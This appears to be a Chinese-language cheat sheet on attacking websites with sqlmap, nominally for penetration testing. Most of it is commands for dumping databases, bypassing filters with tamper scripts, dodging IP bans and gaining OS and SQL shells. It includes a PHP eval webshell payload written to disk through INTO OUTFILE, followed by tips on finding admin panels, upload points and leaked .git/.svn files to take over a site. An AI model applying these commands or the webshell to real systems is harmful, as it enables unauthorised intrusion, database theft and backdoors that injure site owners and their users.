在渗透测试中,sqlmap是常用的注入工具,相比手注而言更为快捷但如果是挖洞的话还是手注效率更高。
sqlmap是一款开源的渗透测试工具,能够对页面中的get/post参数,cookie,http头等进行检测。
sqlmap支持五种检测类型
支持的数据库很多比如 Mysql、Oracle、PostgreSQL、MSSQL、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDb
在注入之前可以通过一些方法让工具使用更加准确快捷,在进入一个网站时可以使用插件或者网站指纹分析来判断该网站的语言推断出数据库这样可以使用 -dbms=xxx提高注入效率,判断注入点和注入类型
设置线程等等。
那么拿到站一般的过程是 -
-current-db查看数据库
-D 数据库名 --tables 查看所有表
-T 表名 --columns 查看字段 然后托库
如果在注入时存在一些问题可以加上一些命令
--current-db --hex 十六进制编码
--current-db --no-cast 一种编码
--current-db --hpp 对http参数污染
--current-db --tamper xxx.py 使用脚本进行绕过
--current-db --risk = 5 --level = 3 设置risk和leval的等级
–threads = 50增加默认线程
--batch,自动注入
–safe-freq和–random-agent 如果ip被ban
--os-shell 需要绝对路径且secure_file_priv不为NULL 且为dba权限
--is-dba 检测dba权限
?id=-1 union select 1,2,@@secure_file_priv
select @@secure_file_priv
这两条命令检测secure_file_priv是否为null 如果secure_file_priv为null的话呢么大概率拿不到权限
--sql-shell
需要支持堆叠注入,有写入的权限,
select "<?php @eval($_POST[1]);?>" into outfile "xxx/you.php";
关于post注入
--current-db --cookie "id=1" 通过burp抓包在cookie user-agent处加* sqlmap注入
?id=1 -r 1.txt 也可以添加–os-shell,–sql-shell,–os-pwn
那么如果存在注入找到密码,我们找到了网站后台用密码进入后台可以找上传点拿shell
网站后台一般存在当前网站根目录下面或者旁站、二级域名、其他服务器
admin.php,manage.php 根目录下/admin,/manage,还有织梦系统的默认后台地址/dede
可以通过谷歌语法寻找 存在且能查看robots.txt通过查看该文件 网站上的图片资源链接等
该网站如果是cms或者cms修改搭建的可以看cms的一些特征
敏感文件 .svn .git 的信息泄露 和源码泄露